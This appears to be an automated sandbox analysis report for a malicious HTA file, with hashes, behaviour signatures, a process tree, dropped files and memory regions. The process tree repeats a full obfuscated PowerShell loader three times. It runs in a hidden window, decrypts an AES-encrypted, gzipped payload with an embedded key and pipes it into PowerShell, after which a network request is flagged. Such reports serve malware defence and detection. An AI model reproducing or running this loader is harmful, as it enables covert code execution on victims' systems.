Analysis

  • max time kernel
    142s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-08-2023 15:15

General

  • Target

    b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985_JC.hta

  • Size

    1.1MB

  • MD5

    674e3c0ae0f2627c10b58a717ee093bd

  • SHA1

    21f15d58046119712572a5114b781027c99f7bc4

  • SHA256

    b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985

  • SHA512

    4d6444d49befa990756aa4e668ac6b664b4bdd1b19bf3914afe067ed0ed0d6ee6e34a114e0a47d1363bcf588b307f032b3c0638620385f02d12583f1706d37ef

  • SSDEEP

    1536:7pLwiizmnY5q7O2Db9L1/j/SFBOWrhRxPNahQo8y8Im+lIWFT5YhmFfON/H8P2c0:7ppizmnYs7Og9LNjaH1rhRxPNahYYPs

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985_JC.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4120
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX | powershell - }
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1764
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX | powershell -
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2428
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3788
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Blocklisted process makes network request
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:228
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:940

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      def65711d78669d7f8e69313be4acf2e

      SHA1

      6522ebf1de09eeb981e270bd95114bc69a49cda6

      SHA256

      aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

      SHA512

      05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      15KB

      MD5

      11eec72a652882159e7f1e766042c3ac

      SHA1

      67da138ffa377ceced84c3531f6a489ea1d045a6

      SHA256

      82e4df2c15de3b56db173ee194e9a00187c6e2484c7ede0493bba36dc7b8ba90

      SHA512

      7eac3f2a9906c81750830e708589bbbcb72833d90f459bf5125f0a3b400db3adb81dfb32e5f724b55d5ed0d7007ca3820809351ce3aa5e14f0ab23c696833a72

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gy3ikx0u.igp.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/228-56-0x0000000002F70000-0x0000000002F80000-memory.dmp

      Filesize

      64KB

    • memory/228-29-0x0000000002F70000-0x0000000002F80000-memory.dmp

      Filesize

      64KB

    • memory/228-75-0x00000000719C0000-0x0000000072170000-memory.dmp

      Filesize

      7.7MB

    • memory/228-73-0x0000000002F70000-0x0000000002F80000-memory.dmp

      Filesize

      64KB

    • memory/228-28-0x0000000002F70000-0x0000000002F80000-memory.dmp

      Filesize

      64KB

    • memory/228-72-0x0000000002F70000-0x0000000002F80000-memory.dmp

      Filesize

      64KB

    • memory/228-71-0x0000000008980000-0x000000000898A000-memory.dmp

      Filesize

      40KB

    • memory/228-30-0x00000000719C0000-0x0000000072170000-memory.dmp

      Filesize

      7.7MB

    • memory/228-70-0x0000000008820000-0x000000000883E000-memory.dmp

      Filesize

      120KB

    • memory/228-60-0x000000006E570000-0x000000006E8C4000-memory.dmp

      Filesize

      3.3MB

    • memory/228-59-0x000000006E280000-0x000000006E2CC000-memory.dmp

      Filesize

      304KB

    • memory/228-58-0x0000000008840000-0x0000000008872000-memory.dmp

      Filesize

      200KB

    • memory/228-57-0x000000007F720000-0x000000007F730000-memory.dmp

      Filesize

      64KB

    • memory/228-53-0x0000000007A60000-0x0000000007AD6000-memory.dmp

      Filesize

      472KB

    • memory/228-52-0x0000000007750000-0x0000000007794000-memory.dmp

      Filesize

      272KB

    • memory/1764-2-0x00000000054F0000-0x0000000005500000-memory.dmp

      Filesize

      64KB

    • memory/1764-4-0x0000000005900000-0x0000000005922000-memory.dmp

      Filesize

      136KB

    • memory/1764-18-0x0000000007820000-0x00000000078B6000-memory.dmp

      Filesize

      600KB

    • memory/1764-20-0x0000000006DA0000-0x0000000006DC2000-memory.dmp

      Filesize

      136KB

    • memory/1764-5-0x0000000006160000-0x00000000061C6000-memory.dmp

      Filesize

      408KB

    • memory/1764-6-0x00000000061D0000-0x0000000006236000-memory.dmp

      Filesize

      408KB

    • memory/1764-16-0x0000000006850000-0x000000000686E000-memory.dmp

      Filesize

      120KB

    • memory/1764-17-0x00000000054F0000-0x0000000005500000-memory.dmp

      Filesize

      64KB

    • memory/1764-19-0x0000000006D50000-0x0000000006D6A000-memory.dmp

      Filesize

      104KB

    • memory/1764-0-0x00000000719C0000-0x0000000072170000-memory.dmp

      Filesize

      7.7MB

    • memory/1764-25-0x00000000719C0000-0x0000000072170000-memory.dmp

      Filesize

      7.7MB

    • memory/1764-1-0x0000000002ED0000-0x0000000002F06000-memory.dmp

      Filesize

      216KB

    • memory/1764-21-0x0000000007E70000-0x0000000008414000-memory.dmp

      Filesize

      5.6MB

    • memory/1764-3-0x0000000005B30000-0x0000000006158000-memory.dmp

      Filesize

      6.2MB

    • memory/3788-55-0x00000000719C0000-0x0000000072170000-memory.dmp

      Filesize

      7.7MB

    • memory/3788-26-0x00000000719C0000-0x0000000072170000-memory.dmp

      Filesize

      7.7MB

    • memory/3788-27-0x0000000004880000-0x0000000004890000-memory.dmp

      Filesize

      64KB

    • memory/3788-51-0x00000000077E0000-0x0000000007E5A000-memory.dmp

      Filesize

      6.5MB

    • memory/3788-50-0x0000000004880000-0x0000000004890000-memory.dmp

      Filesize

      64KB